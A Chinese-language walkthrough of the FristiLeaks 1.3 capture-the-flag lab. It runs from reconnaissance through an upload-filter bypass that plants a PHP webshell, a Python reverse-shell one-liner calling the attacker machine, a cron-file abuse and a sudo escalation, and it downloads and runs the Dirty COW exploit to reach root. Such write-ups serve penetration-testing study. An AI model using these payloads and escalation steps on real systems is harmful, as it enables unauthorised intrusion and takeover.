0x01 项目地址
0x02 靶机描述
Goal: get root (uid 0) and read the flag file
目标:获取root(uid 0)并读取flag文件
VMware users will need to manually edit the VM's MAC address to: 08:00:27:A5:A6:76
VMware用户需要手动将虚拟机的MAC地址编辑为:08:00:27:A5:A6:76
0x03 环境搭建
靶机 | FristiLeaks: 1.3 | NAT模式 192.168.6.158 |
攻击机 | kali | NAT模式 192.168.6.128 |
根据描述,将靶机mac地址改为:08:00:27:A5:A6:76
0x04 详细步骤
1.主机发现
arp-scan -l
2.端口扫描
nmap -p- 192.168.6.158
只开放了80端口
3.目录扫描
dirsearch -u "http://192.168.6.158" -e *
4.Web访问
浏览器访问192.168.6.158
,貌似没什么东西,再看一下目录扫描扫出来的页面
http://192.168.6.158/robots.txt
这儿记录了三条数据,分别拼接到url路径上访问一下看看
http://192.168.6.158/cola
http://192.168.6.158/sisi
http://192.168.6.158/beer
三个路径访问结果都是同一张图片
5.漏洞挖掘
通过照片上的提示This is not the url
,我们可以大概猜测到是想让我们寻找url链接或路径,再次回到首页,看看有没有什么有用的线索
根据页面上的大字KEEP CALM AND DRINK FRISTI
->保持冷静,先喝酒
,还有刚才访问的三个页面路径都是喝的,那我们尝试将fristi
作为路径进行访问
http://192.168.6.158/fristi/
发现一个登录页面
遇到登录页面,尝试弱口令、暴力破解还有SQL注入都没有成功,F12
查看源码时有所发现,这而记录了一份用户eezeepz
写的内容,下边还有一长串base64
加密后的密文,接下来去kali
中对密文进行base64
解码
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
先将密文写进1.txt
vim 1.txt
然后开始解密
base64 -d 1.txt > 2.txt
cat 2.txt
解密后显示PNG
,联想到可能得解密成PNG文件
base64 -d 1.txt > 1.png
解密成功,得到一串字符
keKkeKKeKKeKkEkkEk
猜测这串字符可能是密码,配合刚才得到的用户名可以登录,尝试一下登录
eezeepz : keKkeKKeKKeKkEkkEk
登录成功
发现可以上传文件
走到这一步,猜测大概率是一个文件上传漏洞,我们传一个php
文件验证一下
# phpinfo.php
<?php phpinfo();?>
开始上传
上传失败,被拦截了
通过插件Wappalyzer
可以看到是Apache服务器,我们利用Apache解析漏洞来尝试绕过
将文件后缀名改为.php.gif
尝试一下绕过
可以看到绕过成功,文件被上传到了/uploads
目录,确认存在文件上传漏洞
6.漏洞利用
上传一句话木马尝试执行系统命令
# shell.php.gif
<?php @system($_POST[cmd]);?>
文件上传成功
接下来尝试反弹shell,反弹到kali
的4444
端口,kali开启监听
nc -lvnp 4444
使用浏览器插件hackbar
来进行post
传参
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
kali
成功接收到反弹shell
7.权限提升
先查看一下eezeepz
用户家目录下有什么文件
cd /home/eezeepz
ls -al
在众多文件中,看到一个notes.txt
,我们来查看一下
cat notes.txt
一段英文,翻译一下
总的来说,这段话的大致意思是我们可以按照要求来运行一些admin
权限的命令
那我们按照要求来尝试一下
echo '/home/admin/chmod -R 777 /home/admin/' > /tmp/runthis
ls /tmp
发现生成了cronresut
文件
查看一下权限
ls -al /home
可以看到admin
的权限变为了777
接下来进去看看
cd /home/admin
ls
这里除了几个命令之外,有两个python脚本和两个txt文件,通过查看发现txt文件里的内容是经过加密的,那python脚本可能是加密代码,通过加密代码写一个解密脚本
# whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
# cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
# 1.py
import base64,codecs,sys
def decodeString(str):
base64string= codecs.decode(str,'rot13')
return base64.b64decode(base64string[::-1])
cryptoResult=decodeString(sys.argv[1])
print(cryptoResult)
LetThereBeFristi!
thisisalsopw123
猜测这两个可能是密码,尝试切换用户登录
ls /home
尝试切换用户
su fristigod
password:LetThereBeFristi!
登录成功!
接下来提权
一、sudo提权
sudo -l
/var/fristigod/.secret_admin_stuff/doCom
cd /var
cd fristigod
cd .secret_admin_stuff
./doCom
sudo -u fristi ./doCom
sudo -u fristi ./doCom /bin/bash -p
whoami
cd /root
ls
cat fristileaks_secrets.txt
拿到flag
Flag: Y0u_kn0w_y0u_l0ve_fr1st1
二、脏牛提权
脏牛网址firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195 (github.com)
wget下载脏牛脚本,并赋权
wget http://192.168.30.182/dirty.c
chmod 777 dirty.c
编译运行
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
切换firefart用户,成功提权
查看flag:
cd ~
cat fristileaks_secrets.txt